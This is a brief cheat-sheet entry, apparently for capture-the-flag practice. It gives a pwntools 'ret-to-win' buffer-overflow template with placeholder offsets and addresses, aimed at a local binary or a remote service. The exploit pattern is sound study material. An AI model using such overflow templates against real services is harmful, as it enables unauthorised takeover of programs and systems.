Binary Exploitation

Investigating Binaries

Ret-to-win

from pwn import *

# choose between local binary or remote service
# p = remote("{IP}", {port})
p = process("./{binary}")

payload = b'A' * {ret_offset}
payload += p64({ret_offset})
payload += p64({start_offset})
p.sendline(payload)
p.interactive()